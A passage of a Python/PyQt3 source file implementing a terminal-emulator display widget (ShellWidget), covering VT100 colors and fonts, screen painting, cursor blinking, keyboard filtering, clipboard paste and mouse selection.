104 ColorEntry(qt.QColor(0x00,0x00,0x00), 0, 1 ), ColorEntry( qt.QColor(0xFF,0xFF,0xFF), 1, 0 ),
105 ColorEntry(qt.QColor(0x68,0x68,0x68), 0, 0 ), ColorEntry( qt.QColor(0xFF,0x54,0x54), 0, 0 ),
106 ColorEntry(qt.QColor(0x54,0xFF,0x54), 0, 0 ), ColorEntry( qt.QColor(0xFF,0xFF,0x54), 0, 0 ),
107 ColorEntry(qt.QColor(0x54,0x54,0xFF), 0, 0 ), ColorEntry( qt.QColor(0xFF,0x54,0xFF), 0, 0 ),
108 ColorEntry(qt.QColor(0x54,0xFF,0xFF), 0, 0 ), ColorEntry( qt.QColor(0xFF,0xFF,0xFF), 0, 0 )
109 ]
110
111 # Note that we use ANSI color order (bgr), while IBMPC color order is (rgb)
112 #
113 # Code 0 1 2 3 4 5 6 7
114 # ----------- ------- ------- ------- ------- ------- ------- ------- -------
115 # ANSI (bgr) Black Red Green Yellow Blue Magenta Cyan White
116 # IBMPC (rgb) Black Blue Green Cyan Red Magenta Yellow White
117
118
119 # Font ########################################################################
120
121 # The VT100 has 32 special graphical characters. The usual vt100 extended
122 # xterm fonts have these at 0x00..0x1f.
123 #
124 # QT's iso mapping leaves 0x00..0x7f without any changes. But the graphicals
125 # come in here as proper unicode characters.
126 #
127 # We treat non-iso10646 fonts as VT100 extended and do the requiered mapping
128 # from unicode to 0x00..0x1f. The remaining translation is then left to the
129 # QCodec.
130
131 # assert for i in [0..31] : vt100extended(vt100_graphics[i]) == i.
132
133 VT100_GRAPHICS = [
134 # 0/8 1/9 2/10 3/11 4/12 5/13 6/14 7/15
135 0x0020, 0x25C6, 0x2592, 0x2409, 0x240c, 0x240d, 0x240a, 0x00b0,
136 0x00b1, 0x2424, 0x240b, 0x2518, 0x2510, 0x250c, 0x2514, 0x253c,
137 0xF800, 0xF801, 0x2500, 0xF803, 0xF804, 0x251c, 0x2524, 0x2534,
138 0x252c, 0x2502, 0x2264, 0x2265, 0x03C0, 0x2260, 0x00A3, 0x00b7,
139 ]
140
141
142 FONTS = [
143 "13",
144 "7", # tiny font, never used
145 "10", # small font
146 "13", # medium
147 "15", # large
148 "20", # huge
149 "-misc-console-medium-r-normal--16-160-72-72-c-160-iso10646-1", # "Linux"
150 "-misc-fixed-medium-r-normal--15-140-75-75-c-90-iso10646-1", # "Unicode"
151 ]
152
153 TOPFONT = 0
154
155 def shellSetFontAux(te, fontno):
156 f = qt.QFont()
157 if FONTS[fontno][0] == '-':
158 f.setRawName(FONTS[fontno])
159 if not f.exactMatch():
160 return
161 else:
162 f.setFamily("fixed")
163 f.setFixedPitch(True)
164 f.setPixelSize(int(FONTS[fontno]))
165 te.setVTFont(f)
166
167
168 class ShellWidget(signalable.Signalable, qt.QFrame):
169 """a widget representing attributed text"""
170
171 def __init__(self, qapp, parent=None, name=''):
172 super(ShellWidget, self).__init__(parent, name)
173 # application object
174 self._qapp = qapp
175 # current session in this widget
176 self.current_session = None
177 # has blinking cursor enabled
178 self.has_blinking_cursor = False
179 # hide text in paintEvent
180 self.blinking = False
181 # has characters to blink
182 self.has_blinker = False
183 # hide cursor in paintEvent
184 self.cursor_blinking = False
185 # active when self.has_blinker
186 self.blink_t = qt.QTimer(self)
187 # active when self.has_blinking_cursor
188 self.blink_cursor_t = qt.QTimer(self)
189 # require Ctrl key for drag
190 self.ctrldrag = False
191 # do we antialias or not
192 self.antialias = False
193 #self.fixed_font # has fixed pitch
194 # height, width, ascend
195 self.font_h = self.font_w = self.font_a = 1
196 # The offsets are not yet calculated.
197 # Do not calculate these too often to be more smoothly when resizing
198 # pyqonsole in opaque mode.
199 self.bX = self.bY = 0
200 # widget size
201 self.lines = 1
202 self.columns = 1
203 self._image = None # [lines][columns]
204 self._line_wrapped = [] # QBitArray
205
206 self.color_table = [None] * TABLE_COLORS
207 self.currentWord = ""
208 self.resizing = False
209 self.terminal_size_hint = False
210 self.terminal_size_startup = True
211 self.mouse_marks = False
212
213 self.i_pnt_sel = None # initial selection point
214 self.pnt_sel = None # current selection point
215 self._act_sel = 0 # selection state
216 self._word_selection_mode = False
217 self._line_selection_mode = False
218 self.preserve_line_breaks = True
219 self.scroll_loc = SCRNONE
220 self.bell_mode = BELLSYSTEM
221 # is set in mouseDoubleClickEvent and deleted
222 # after QApplication::doubleClickInterval() delay
223 self._possible_triple_click = False
224 self._ctrl_pressed = self._shift_pressed = False
225
226 self.m_resize_widget = None # QFrame
227 self.m_resize_label = None # QLabel
228 self.m_resize_timer = None # QTimer
229 self.line_spacing = 0
230
231 self.scrollbar = qt.QScrollBar(self)
232 self.scrollbar.setCursor(self.arrowCursor)
233
234 self.drop_text = ''
235 self._cursor_rect = None #for quick changing of cursor
236
237 cb = qt.QApplication.clipboard()
238 self.connect(cb, qt.SIGNAL('selectionChanged()'), self.onClearSelection)
239 self.connect(self.scrollbar, qt.SIGNAL('valueChanged(int)'),
240 self.scrollChanged)
241 self.connect(self.blink_t, qt.SIGNAL('timeout()'), self.blinkEvent)
242 self.connect(self.blink_cursor_t, qt.SIGNAL('timeout()'),
243 self.blinkCursorEvent)
244
245 self.setMouseMarks(True)
246
247 #self.setVTFont(qt.QFont("monaco"))
248 self.setColorTable(BASE_COLOR_TABLE) # init color table
249 #TODO: check if installing this event filter doesn't conflict other widgets
250 self._qapp.installEventFilter(self) #FIXME: see below
251
252 self._compose_length = 0
253 # Init DnD ################################
254 self.setAcceptDrops(True) # attempt
255 dragInfo.state = diNone
256
257 self.setFocusPolicy(self.WheelFocus)
258
259 # We're just a big pixmap, no need to have a background
260 # Speeds up redraws
261 self.setBackgroundMode(self.NoBackground)
262
263
264 ## def __del__(self):
265 ## # FIXME: make proper destructor
266 ## self._qapp.removeEventFilter( self )
267
268 def select_on_tree( self, word ):
269 mw = self._qapp.mainWidget()
270 host_tree_view = mw.getHostTreeView()
271 host_tree_view.selectWord(word)
272
273 def getDefaultBackColor(self):
274 return self.color_table[DEFAULT_BACK_COLOR].color
275
276 def getColorTable(self):
277 return self.color_table
278 def setColorTable(self, table):
279 for i in xrange(TABLE_COLORS):
280 self.color_table[i] = table[i]
281 pm = self.paletteBackgroundPixmap()
282 if not pm:
283 self.setPaletteBackgroundColor(self.color_table[DEFAULT_BACK_COLOR].color)
284 self.update()
285
286 # FIXME: add backgroundPixmapChanged.
287
288 def setScrollbarLocation(self, loc):
289 if self.scroll_loc == loc:
290 return # quickly
291 self.bY = self.bX = 1
292 self.scroll_loc = loc
293 self.propagateSize()
294 self.update()
295
296 def setScroll(self, cursor, lines):
297 self.disconnect(self.scrollbar, qt.SIGNAL('valueChanged(int)'),
298 self.scrollChanged)
299 self.scrollbar.setRange(0, lines)
300 self.scrollbar.setSteps(1, self.lines)
301 self.scrollbar.setValue(cursor)
302 self.connect(self.scrollbar, qt.SIGNAL('valueChanged(int)'),
303 self.scrollChanged)
304
305 def doScroll(self, lines):
306 self.scrollbar.setValue(self.scrollbar.value()+lines)
307
308 def blinkingCursor(self):
309 return self.has_blinking_cursor
310
311 def setBlinkingCursor(self, blink):
312 """Display operation"""
313 self.has_blinking_cursor = blink
314 if blink and not self.blink_cursor_t.isActive():
315 self.blink_cursor_t.start(1000)
316 if not blink and self.blink_cursor_t.isActive():
317 self.blink_cursor_t.stop()
318 if self.cursor_blinking:
319 self.blinkCursorEvent()
320 else:
321 self.cursor_blinking = False
322
323 def setLineSpacing(self, i):
324 self.line_spacing = i
325 self.setVTFont(self.font()) # Trigger an update.
326
327
328 def emitSelection(self, useXselection, appendReturn):
329 """Paste Clipboard by simulating keypress events"""
330 qt.QApplication.clipboard().setSelectionMode(useXselection)
331 text = qt.QApplication.clipboard().text()
332 if appendReturn:
333 text.append("\r")
334 if not text.isEmpty():
335 text.replace(qt.QRegExp("\n"), "\r")
336 ev = qt.QKeyEvent(qt.QEvent.KeyPress, 0, -1, 0, text)
337 self.myemit('keyPressedSignal', (ev,)) # expose as a big fat keypress event
338 self.myemit('clearSelectionSignal')
339 qt.QApplication.clipboard().setSelectionMode(False)
340
341 def setImage(self, newimg, lines, columns):
342 """Display Operation - The image can only be set completely.
343
344 The size of the new image may or may not match the size of the widget.
345 """
346 pm = self.paletteBackgroundPixmap()
347 self.setUpdatesEnabled(False)
348 paint = qt.QPainter()
349 paint.begin(self)
350 tL = self.contentsRect().topLeft()
351 tLx = tL.x()
352 tLy = tL.y()
353 self.has_blinker = False
354 cf = cb = cr = -1 # undefined
355 cols = min(self.columns, max(0, columns))
356 oldimg = self._image
357 #print 'setimage', lins, cols, self.lines, self.columns, len(oldimg), len(newimg)
358 for y in xrange(min(self.lines, max(0, lines))):
359 if self.resizing: # while resizing, we're expecting a paintEvent
360 break
361 x = 0
362 while x < cols:
363 ca = newimg[y][x]
364 self.has_blinker |= ca.r & RE_BLINK
365 # "is" to be more effective than "==" when possible
366 if ca is oldimg[y][x] or ca == oldimg[y][x]:
367 if ca.c != '' and ca.c != ' ':
368 pass
369
370 x += 1
371 continue
372 else:
373 pass
374
375 c = ca.c
376 if not c:
377 x += 1
378 continue
379 disstrU = [c]
380 cr = ca.r
381 cb = ca.b
382 if ca.f != cf:
383 cf = ca.f
384 lln = cols - x
385 xlen = 1
386 for xlen in xrange(1, lln):
387 cal = newimg[y][x + xlen]
388 c = cal.c
389 if not c:
390 continue # Skip trailing part of multi-col chars.
391 ocal = oldimg[y][x + xlen]
392 if (cal.f != cf or cal.b != cb or cal.r != cr or
393 (cal is ocal or cal == ocal)):
394 break
395 disstrU.append(c)
396
397 unistr = qt.QString(u''.join(disstrU))
398 self.drawAttrStr(paint,
399 qt.QRect(self.bX+tLx+self.font_w*x,
400 self.bY+tLy+self.font_h*y,
401 self.font_w*xlen,
402 self.font_h),
403 unistr, ca, pm != None, True)
404 x += xlen
405 self._image = newimg
406 self.drawFrame(paint)
407 paint.end()
408 self.setUpdatesEnabled(True)
409 if self.has_blinker and not self.blink_t.isActive():
410 self.blink_t.start(1000) # 1000 ms
411 elif not self.has_blinker and self.blink_t.isActive():
412 self.blink_t.stop()
413 self.blinking = False
414
415 if self.resizing and self.terminal_size_hint:
416 if self.terminal_size_startup:
417 self.terminal_size_startup = False
418 return
419 widget = self.m_resize_widget
420 if not self.m_resize_widget:
421 self.m_resize_widget = qt.QFrame(self)
422 f = self.m_resize_widget.font()
423 f.setPointSize(f.pointSize()*2)
424 f.setBold(True)
425 widget.setFont(f)
426 widget.setFrameShape(self.Raised)
427 widget.setMidLineWidth(4)
428 l = qt.QVBoxLayout( widget, 10)
429 self.m_resize_label = qt.QLabel("Size: XXX x XXX", widget)
430 l.addWidget(self.m_resize_label, 1, self.AlignCenter)
431 widget.setMinimumWidth(self.m_resize_label.fontMetrics().width("Size: XXX x XXX")+20)
432 widget.setMinimumHeight(self.m_resize_label.sizeHint().height()+20)
433 self.m_resize_timer = qt.QTimer(self)
434 self.connect(self.m_resize_timer, qt.SIGNAL('timeout()'), widget.hide)
435 sizeStr = qt.QString("Size: %1 x %2").arg(columns).arg(lines)
436 self.m_resize_label.setText(sizeStr)
437 widget.move((self.width()-widget.width())/2,
438 (self.height()-widget.height())/2)
439 widget.show()
440 self.m_resize_timer.start(1000, True)
441
442 def setLineWrapped(self, _line_wrapped):
443 self._line_wrapped = _line_wrapped
444
445 def setCursorPos(self, curx, cury):
446 """Display Operation - Set XIM Position"""
447 tL = self.contentsRect().topLeft()
448 tLx = tL.x()
449 tLy = tL.y()
450 ypos = self.bY + tLy + self.font_h*(cury-1) + self.font_a
451 xpos = self.bX + tLx + self.font_w*curx
452 self.setMicroFocusHint(xpos, ypos, 0, self.font_h)
453
454 def propagateSize(self):
455 oldimg = self._image
456 oldlin = self.lines
457 oldcol = self.columns
458 self._makeImage()
459 # we copy the old image to reduce flicker
460 if oldimg:
461 for y in xrange(min(oldlin, self.lines)):
462 for x in xrange(min(oldcol, self.columns)):
463 self._image[y][x] = oldimg[y][x]
464 else:
465 self._clearImage()
466 # NOTE: control flows from the back through the chest right into the eye.
467 # `emu' will call back via `setImage'.
468 # expose resizeEvent
469 self.resizing = True
470 self.myemit('changedImageSizeSignal', (self.lines, self.columns))
471 self.resizing = False
472
473 def calcSize(self, cols, lins):
474 """calculate the needed size for the widget to get a cols*lins
475 characters terminal
476 """
477 frw = self.width() - self.contentsRect().width()
478 frh = self.height() - self.contentsRect().height()
479 if self.scroll_loc == SCRNONE:
480 scw = 0
481 else:
482 scw = self.scrollbar.width()
483 return qt.QSize(self.font_w*cols + 2*rimX + frw + scw + 2, self.font_h*lins + 2*rimY + frh + 2)
484
485
486 def sizeHint(self):
487 return self.size()
488
489 def bell(self):
490 if self.bell_mode == BELLSYSTEM:
491 qt.QApplication.beep()
492 if self.bell_mode == BELLVISUAL:
493 self._swapColorTable()
494 qt.QTimer.singleShot(200, self._swapColorTable)
495
496
497 def setSelection(self, t):
498 # Disconnect signal while WE set the clipboard
499 cb = qt.QApplication.clipboard()
500 self.disconnect(cb, qt.SIGNAL('selectionChanged()'), self.onClearSelection)
501 cb.setSelectionMode(True)
502 cb.setText(t)
503 cb.setSelectionMode(False)
504 cb.setText(t)
505 self.connect(cb, qt.SIGNAL('selectionChanged()'), self.onClearSelection)
506
507
508 def setFont(self, font):
509 # ignore font change request if not coming from konsole itself
510 pass
511
512 def setVTFont(self, font):
513 if not self.antialias:
514 font.setStyleStrategy(qt.QFont.NoAntialias)
515 qt.QFrame.setFont(self, font)
516 self.fontChange(font)
517
518 def setMouseMarks(self, on):
519 self.mouse_marks = on
520 self.setCursor(on and self.ibeamCursor or self.arrowCursor)
521
522 def setTerminalSizeHint(self, on):
523 self.terminal_size_hint = on
524
525 def pasteClipboard(self):
526 self.emitSelection(False, False)
527
528 def onClearSelection(self):
529 self.myemit('clearSelectionSignal')
530
531 def setupLayout(self):
532 self.setScrollbarLocation(2)
533 #self.setMinimumSize(150, 70)
534 self.setMinimumSize(200, 100)
535 self.setBackgroundMode(qt.Qt.PaletteBackground)
536 f=qt.QFont()
537 f.setRawName(CONF.getFont())
538 #f.setFixedPitch(True)
539 #f.setPixelSize(13)
540
541 self.shellSetFont(f)
542 self.resize(self.calcSize(80, 25))
543
544 # protected ###############################################################
545
546 def styleChange(self, style):
547 """overridden from QWidget"""
548 self.propagateSize()
549
550 def eventFilter(self, obj, e):
551 """Keyboard
552
553 FIXME: an `eventFilter' has been installed instead of a `keyPressEvent'
554 due to a bug in `QT' or the ignorance of the author to prevent
555 repaint events being self.emitted to the screen whenever one leaves
556 or reenters the screen to/from another application.
557
558 Troll says one needs to change focusInEvent() and focusOutEvent(),
559 which would also let you have an in-focus cursor and an out-focus
560 cursor like xterm does.
561
562 for the auto-hide cursor feature, I added empty focusInEvent() and
563 focusOutEvent() so that update() isn't called.
564 For auto-hide, we need to get keypress-events, but we only get them when
565 we have focus.
566 """
567 if (e.type() == qt.QEvent.Accel or
568 e.type() == qt.QEvent.AccelAvailable) and self._qapp.focusWidget() == self:
569 e.ignore()
570 return True
571 if obj != self and obj != self.parent(): # when embedded / when standalone
572 return False # not us
573 if e.type() == qt.QEvent.Wheel:
574 qt.QApplication.sendEvent(self.scrollbar, e)
575
576 if e.type() == qt.QEvent.KeyPress:
577 if e.key() == qt.Qt.Key_Control:
578 self._ctrl_pressed = True
579 elif e.key() == qt.Qt.Key_Shift:
580 self._shift_pressed = True
581 elif (self._shift_pressed and self._ctrl_pressed):
582 mw = self._qapp.mainWidget()
583 if e.key() == qt.Qt.Key_T:
584 mw.createShellTab()
585 return True
586 elif e.key() == qt.Qt.Key_W:
587 mw.destroyShellTab()
588 return True
589 elif e.key() == qt.Qt.Key_C:
590 return True
591 elif e.key() == qt.Qt.Key_V:
592 text = qt.QApplication.clipboard().text()
593 if not text.isEmpty():
594 text.replace(qt.QRegExp("\n"), "\r")
595 ev = qt.QKeyEvent(qt.QEvent.KeyPress, 0, -1, 0, text)
596 self.myemit('keyPressedSignal', (ev,)) # expose as a big fat keypress event
597 self.myemit('clearSelectionSignal')
598 qt.QApplication.clipboard().setSelectionMode(False)
599 return True
600 elif e.type() == qt.QEvent.KeyRelease:
601 if e.key() == qt.Qt.Key_Control:
602 self._ctrl_pressed = False
603 elif e.key() == qt.Qt.Key_Shift:
604 self._shift_pressed = False
605
606 if e.type() == qt.QEvent.KeyPress and not (self._ctrl_pressed and self._shift_pressed):
607 self._act_sel = 0 # Key stroke implies a screen update, so TEWidget won't
608 # know where the current selection is.
609 if self.has_blinking_cursor:
610 self.blink_cursor_t.start(1000)
611 if self.cursor_blinking:
612 self.blinkCursorEvent()
613 else:
614 self.cursor_blinking = False
615 self.myemit('keyPressedSignal', (e,)) # expose
616 # in Qt2 when key events were propagated up the tree
617 # (unhandled? . parent widget) they passed the event filter only once at
618 # the beginning. in qt3 self has changed, that is, the event filter is
619 # called each time the event is sent (see loop in qt.QApplication.notify,
620 # when internalNotify() is called for KeyPress, whereas internalNotify
621 # activates also the global event filter) . That's why we stop propagation
622 # here.
623 return True
624 if e.type() == qt.QEvent.IMStart:
625 self._compose_length = 0
626 e.accept()
627 return False
628 if e.type() == qt.QEvent.IMCompose:
629 text = qt.QString()
630 if self._compose_length:
631 text.setLength(self._compose_length)
632 for i in xrange(self._compose_length):
633 text[i] = '\010'
634 self._compose_length = e.text().length()
635 text += e.text()
636 if not text.isEmpty():
637 ke = qt.QKeyEvent(qt.QEvent.KeyPress, 0,-1, 0, text)
638 self.myemit('keyPressedSignal', (ke,))
639 e.accept()
640 return False
641 if e.type() == qt.QEvent.IMEnd:
642 text = qt.QString()
643 if self._compose_length:
644 text.setLength(self._compose_length)
645 for i in xrange(self._compose_length):
646 text[i] = '\010'
647 text += e.text()
648 if not text.isEmpty():
649 ke = qt.QKeyEvent(qt.QEvent.KeyPress, 0,-1, 0, text)
650 self.myemit('keyPressedSignal', (ke,))
651 e.accept()
652 return False
653 if e.type() == qt.QEvent.Enter:
654 cb = qt.QApplication.clipboard()
655 try:
656 self.disconnect(cb, qt.SIGNAL('dataChanged()'), self.onClearSelection)
657 except RuntimeError:
658 # slot isn't connected
659 pass
660 elif e.type() == qt.QEvent.Leave:
661 cb = qt.QApplication.clipboard()
662 self.connect(cb, qt.SIGNAL('dataChanged()'), self.onClearSelection)
663 return qt.QFrame.eventFilter(self, obj, e)
664
665 def splitQstring(self, aQstr):
666
667 list_qstr = []
668 current_len = aQstr.length()
669
670 i = -1
671
672 state = 0
673 c = 0
674 while i<=current_len:
675 i += 1
676 current_char = aQstr.at(i)
677
678 if current_char.isNull():
679 state = 0
680 elif current_char.isPrint() and not current_char.isSpace() :
681 #if (current_char.isSymbol() or current_char.isLetterOrNumber() or current_char.isPunct()) and not current_char.isSpace() :
682 #if state == 2:
683 if state == 2:
684
685 list_qstr.append(aQstr.left(i))
686
687
688 aQstr = aQstr.right(i)
689 i = -1
690 current_len = aQstr.length()
691 state = 1
692
693 else:
694 if state == 1:
695
696 #import pdb
697 #pdb.set_trace()
698 #list_qstr.append()#qt.QString(u' '))#aQstr.left(i))
699 aQstr = aQstr.right(i)
700 i = -1
701 current_len = aQstr.length()
702
703 state = 2
704
705
706 list_qstr.append(aQstr.left(aQstr.length()))
707
708
709 return list_qstr
710
711
712
713 def drawAttrStr(self, paint, rect, qstr, attr, pm, clear):
714 """Display Operation - attributed string draw primitive"""
715 #print attr.b, attr.f
716 if (attr.r & RE_CURSOR) and self.hasFocus() and (not self.has_blinking_cursor or not self.cursor_blinking):
717 fColor = self.color_table[attr.b].color
718 bColor = self.color_table[attr.f].color
719 else:
720 fColor = self.color_table[attr.f].color
721 bColor = self.color_table[attr.b].color
722 if attr.r & RE_CURSOR:
723 self._cursor_rect = rect
724 if pm and self.color_table[attr.b].transparent and (not (attr.r & RE_CURSOR) or self.cursor_blinking):
725 paint.setBackgroundMode(self.TransparentMode)
726 if clear:
727 self.erase(rect)
728 else:
729 if self.blinking:
730 paint.fillRect(rect, bColor)
731 else:
732 paint.setBackgroundMode(self.OpaqueMode)
733 paint.setBackgroundColor(bColor)
734
735
736 w = qstr
737 if not (self.blinking and (attr.r & RE_BLINK)):
738 if (attr.r and RE_CURSOR) and self.cursor_blinking:
739 self.erase(rect)
740 paint.setPen(fColor)
741
742 paint.drawText(rect.x(), rect.y()+self.font_a, w)
743 if (attr.r & RE_UNDERLINE) or self.color_table[attr.f].bold:
744 paint.setClipRect(rect)
745 if self.color_table[attr.f].bold:
746 paint.setBackgroundMode(self.TransparentMode)
747 paint.drawText(rect.x()+1, rect.y()+self.font_a, w) # second stroke
748 if attr.r & RE_UNDERLINE:
749 paint.drawLine(rect.left(), rect.y()+self.font_a+1,
750 rect.right(), rect.y()+self.font_a+1)
751 paint.setClipping(False)
752
753 if (attr.r & RE_CURSOR) and not self.hasFocus():
754
755 if pm and self.color_table[attr.b].transparent:
756
757 self.erase(rect)
758 paint.setBackgroundMode(self.TransparentMode)
759 paint.drawText(rect.x(), rect.y()+self.font_a, w)
760
761 paint.setClipRect(rect)
762 paint.drawRect(rect.x(), rect.y(), rect.width(), rect.height()-self.line_spacing)
763 paint.setClipping(False)
764
765
766
767 def paintEvent(self, pe):
768 """
769 The difference of this routine vs. the `setImage' is, that the drawing
770 does not include a difference analysis between the old and the new
771 image. Instead, the internal image is used and the painting bound by the
772 PaintEvent box.
773 """
774 pm = self.paletteBackgroundPixmap()
775 self.setUpdatesEnabled(False)
776 paint = qt.QPainter()
777 paint.begin(self)
778 paint.setBackgroundMode(self.TransparentMode)
779 # Note that the actual widget size can be slightly larger
780 # that the image (the size is truncated towards the smaller
781 # number of characters in `resizeEvent'. The paint rectangle
782 # can thus be larger than the image, but less then the size
783 # of one character.
784 rect = pe.rect().intersect(self.contentsRect())
785 tL = self.contentsRect().topLeft()
786 tLx = tL.x()
787 tLy = tL.y()
788 lux = min(self.columns-1, max(0, (rect.left() - tLx - self.bX) / self.font_w))
789 luy = min(self.lines-1, max(0, (rect.top() - tLy - self.bY) / self.font_h))
790 rlx = min(self.columns-1, max(0, (rect.right() - tLx - self.bX) / self.font_w))
791 rly = min(self.lines-1, max(0, (rect.bottom() - tLy - self.bY) / self.font_h))
792 image = self._image
793 for y in xrange(luy, rly+1):
794 c = image[y][lux].c
795 x = lux
796 if not c and x:
797 x -= 1 # Search for start of multi-col char
798 while x <= rlx:
799 disstrU = []
800 ca = image[y][x]
801 c = ca.c
802 if c:
803 disstrU.append(c)
804 cf = ca.f
805 cb = ca.b
806 cr = ca.r
807 xlen = 1
808 while (x+xlen <= rlx and
809 image[y][x+xlen].f == cf and
810 image[y][x+xlen].b == cb and
811 image[y][x+xlen].r == cr):
812 c = image[y][x+xlen].c
813 if c:
814 disstrU.append(c)
815 xlen += 1
816 if (x+xlen < self.columns) and (not image[y][x+xlen].c):
817 xlen += 1 # Adjust for trailing part of multi-column char
818 unistr = qt.QString(u''.join(disstrU))
819 self.drawAttrStr(paint,
820 qt.QRect(self.bX+tLx+self.font_w*x, self.bY+tLy+self.font_h*y, self.font_w*xlen, self.font_h),
821 unistr, ca, pm != None, False)
822 x += xlen
823 self.drawFrame(paint)
824 paint.end()
825 self.setUpdatesEnabled(True)
826
827 def resizeEvent(self, ev):
828 # see comment in `paintEvent' concerning the rounding.
829 # FIXME: could make a routine here; check width(),height()
830 assert ev.size().width() == self.width()
831 assert ev.size().height() == self.height()
832 self.myemit('ignoreShellWidgetResize')
833 self.propagateSize()
834
835
836
837 def fontChange(self, font):
838 fm = qt.QFontMetrics(font) # QFontMetrics fm(font())
839 self.font_h = fm.height() + self.line_spacing
840 # waba TEWidget 1.123:
841 # "Base character width on widest ASCII character. Self prevents too wide
842 # characters in the presence of double wide (e.g. Japanese) characters."
843 self.font_w = 1
844 for i in xrange(128):
845 i = chr(i)
846 if not i.isalnum():
847 continue
848 fw = fm.width(i)
849 if self.font_w < fw:
850 self.font_w = fw
851 if self.font_w > 200: # don't trust unrealistic value, fallback to QFontMetrics::maxWidth()
852 self.font_w = fm.maxWidth()
853 if self.font_w < 1:
854 self.font_w = 1
855
856 self.font_a = fm.ascent()
857 self.propagateSize()
858 self.update()
859
860 def frameChanged(self):
861 self.propagateSize()
862 self.update()
863
864
865 # Mouse ###################################################################
866
867 # Three different operations can be performed using the mouse, and the
868 # routines in self section serve all of them:
869 #
870 # 1) The press/release events are exposed to the application
871 # 2) Marking (press and move left button) and Pasting (press middle button)
872 # 3) The right mouse button is used from the configuration menu
873 #
874 # NOTE: During the marking process we attempt to keep the cursor within
875 # the bounds of the text as being displayed by setting the mouse position
876 # whenever the mouse has left the text area.
877 #
878 # Two reasons to do so:
879 # 1) QT does not allow the `grabMouse' to confine-to the TEWidget.
880 # Thus a `XGrapPointer' would have to be used instead.
881 # 2) Even if so, self would not help too much, since the text area
882 # of the TEWidget is normally not identical with it's bounds.
883 #
884 # The disadvantage of the current handling is, that the mouse can visibly
885 # leave the bounds of the widget and is then moved back. Because of the
886 # current construction, and the reasons mentioned above, we cannot do better
887 # without changing the overall construction.
888
889 def mouseDoubleClickEvent(self, ev):
890 """select the word under the pointer on mouse double click, and
891 eventually wait for a third click to select the entire line
892 """
893 if ev.button() != self.LeftButton:
894 return
895 x, y = self._evXY(ev)
896 # pass on double click as two clicks.
897 if not self.mouse_marks and not (ev.state() & self.ShiftButton):
898 # Send just _ONE_ click event, since the first click of the double click
899 # was already sent by the click handler!
900 self.myemit('mouseSignal', (0, x+1, y+1)) # left button
901 return
902
903 self.myemit('clearSelectionSignal')
904 self.i_pnt_sel = qt.QPoint(x, y + self.scrollbar.value())
905 self._word_selection_mode = True
906 self._act_sel = 2 # within selection
907 self.myemit('beginSelectionSignal', self._wordStart(x, y))
908 self.myemit('extendSelectionSignal', self._wordEnd(x, y))
909 self.myemit('endSelectionSignal', (self.preserve_line_breaks,))
910 self._possible_triple_click = True
911
912
913 self.myemit('onDoubleClickSignal', (self._wordStart(x, y), self._wordEnd(x, y)) )
914 qt.QTimer.singleShot(qt.QApplication.doubleClickInterval(), self._tripleClickTimeout)
915
916 def mousePressEvent(self, ev):
917 if self._possible_triple_click and ev.button() == self.LeftButton:
918 self.mouseTripleClickEvent(ev)
919 return
920 if not self.contentsRect().contains(ev.pos()):
921 return
922 x, y = self._evXY(ev)
923 self._line_selection_mode = False
924 self._word_selection_mode = False
925 if ev.button() == self.LeftButton:
926 topleft = self.contentsRect().topLeft()
927 # XXX: this is the only place where we add self.font_w/2, why ?
928 pos = qt.QPoint((ev.x()-topleft.x()-self.bX+(self.font_w/2)) / self.font_w, y)
929 self.myemit('isBusySelecting', (True,)) # Keep it steady...
930 # Drag only when the Control key is hold
931 selected = [False]
932 # The receiver of the testIsSelected() signal will adjust
933 # 'selected' accordingly.
934 self.myemit('testIsSelected', (pos.x(), y, selected))
935 selected = selected[0]
936 if (not self.ctrldrag or ev.state() & self.ControlButton) and selected:
937 # The user clicked inside selected text
938 dragInfo.state = diPending
939 dragInfo.start = ev.pos()
940 else:
941 # No reason to ever start a drag event
942 dragInfo.state = diNone
943 self.preserve_line_breaks = not (ev.state() & self.ControlButton)
944 if self.mouse_marks or (ev.state() & self.ShiftButton):
945 self.myemit('clearSelectionSignal')
946 pos.setY(y + self.scrollbar.value())
947 self.i_pnt_sel = self.pnt_sel = pos
948 self._act_sel = 1 # left mouse button pressed but nothing selected yet.
949 self.grabMouse() # handle with care!
950 else:
951 self.myemit('mouseSignal', (0, x+1, y+1)) # Left button
952 elif ev.button() == self.MidButton:
953 if self.mouse_marks or (not self.mouse_marks and (ev.state() & self.ShiftButton)):
954 self.emitSelection(True, ev.state() & self.ControlButton)
955 else:
956 self.myemit('mouseSignal', (1, x+1, y+1))
957 elif ev.button() == self.RightButton:
958 if self.mouse_marks or (ev.state() & self.ShiftButton):
959 self.myemit('configureRequest', (self, ev.state() & (self.ShiftButton|self.ControlButton), ev.x(), ev.y()))
960 else:
961 self.myemit('mouseSignal', (2, x+1, y+1))
962
963 def mouseReleaseEvent(self, ev):
964 x, y = self._evXY(ev)
965 if ev.button() == self.LeftButton:
966 self.myemit('isBusySelecting', (False,)) # Ok.. we can breath again.
967 if dragInfo.state == diPending:
968 # We had a drag event pending but never confirmed. Kill selection
969 self.myemit('clearSelectionSignal', ())
970 else:
971 if self._act_sel > 1:
972 self.myemit('endSelectionSignal', (self.preserve_line_breaks,))
973 self._act_sel = 0
974 #FIXME: emits a release event even if the mouse is
975 # outside the range. The procedure used in `mouseMoveEvent'
976 # applies here, too.
977 if not self.mouse_marks and not (ev.state() & self.ShiftButton):
978 self.myemit('mouseSignal', (3, x+1, y + 1)) # release
979 self.releaseMouse()
980 dragInfo.state = diNone
981 if not self.mouse_marks and ((ev.button() == self.RightButton and not (ev.state() & self.ShiftButton))
982 or ev.button() == self.MidButton):
983 self.myemit('mouseSignal', (3, x+1, y+1))
984 self.releaseMouse()
985
986 def mouseMoveEvent(self, ev):
987 # for auto-hiding the cursor, we need mouseTracking
988 if ev.state() == self.NoButton:
989 return
990 if dragInfo.state == diPending:
991 # we had a mouse down, but haven't confirmed a drag yet
992 # if the mouse has moved sufficiently, we will confirm
993 # int distance = KGlobalSettings::dndEventDelay();
994 # int distance = 0; # FIXME
995 # if ( ev.x() > dragInfo.start.x() + distance or ev.x() < dragInfo.start.x() - distance or
996 # ev.y() > dragInfo.start.y() + distance or ev.y() < dragInfo.start.y() - distance) {
997 # we've left the drag square, we can start a real drag operation now
998 # emit isBusySelecting(False); # Ok.. we can breath again.
999 # emit clearSelectionSignal();
1000 # doDrag();
1001 return
1002 elif dragInfo.state == diDragging:
1003 # self isn't technically needed because mouseMoveEvent is suppressed during
1004 # Qt drag operations, replaced by dragMoveEvent
1005 return
1006 if self._act_sel == 0:
1007 return
1008 # don't extend selection while pasting
